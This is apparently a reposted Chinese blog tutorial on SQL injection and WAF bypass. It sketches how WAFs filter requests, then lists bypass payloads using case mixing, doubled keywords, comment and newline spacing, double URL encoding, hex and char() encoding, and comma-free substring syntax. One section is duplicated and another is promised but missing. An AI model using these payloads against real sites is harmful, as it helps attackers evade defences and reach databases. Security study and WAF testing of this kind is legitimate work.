概述
1.WAF过滤机制:
1.异常检测协议–拒绝不符合HTTP标准的请求;
2.增强的输入验证–代理和服务端的验证而不只是限于客户端验证;
3.白名单&黑名单机制–白名单适用于稳定的Web应用,黑名单适合处理已知问题;
4.基于规则和基于异常的保护–基于规则更多的依赖黑名单机制基于,基于异常根据系统异常更为灵活;
5.另外还有会话保护、Cookies保护、抗入侵规避技术、响应监视和信息泄露保护等。
2.WAF绕过姿势
(1)大小写绕过
此类绕过不经常使用,但是用的时候也不能忘了它,他原理是基于SQL语句不分大小写的,但过滤只过滤其中一种。
这里有道题
(2)替换关键字
这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过
http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
(3)空格绕过
payload
select/**/*/**/from/**/yz;
select%0a*%0afrom%0ayz; %0a 是回车
/*!select*//*!**//*!from*//*!yz*/;
select(a)from(yz);
select(a)from(yz)where(a=1);
## (4)替换关键字
这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过
SELselectECT 1,2,3,4
(5)URL编码
有时后台界面会再次URL解码所以这时可以利用二次编码解决问题
后台语句
$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();
select * from yz
select * from %2579%257a
(6)十六进制绕过(引号绕过)
在SQL语句的数据区域可以采用十六进制绕过敏感词汇
select a from yz where b=0x32;
select * from yz where b=char(0x32);
select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)
select column_name from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273
(7)逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。
substr(),mid()
mid(user() from 1 for 1)
substr(user() from 1 for 1)
select substr(user()from -1) from yz ;
最后
以上就是粗暴仙人掌为你收集整理的SQL注入&WAF绕过姿势1.WAF过滤机制:2.WAF绕过姿势3.SQL注入知识的全部内容,希望文章能够帮你解决SQL注入&WAF绕过姿势1.WAF过滤机制:2.WAF绕过姿势3.SQL注入知识所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复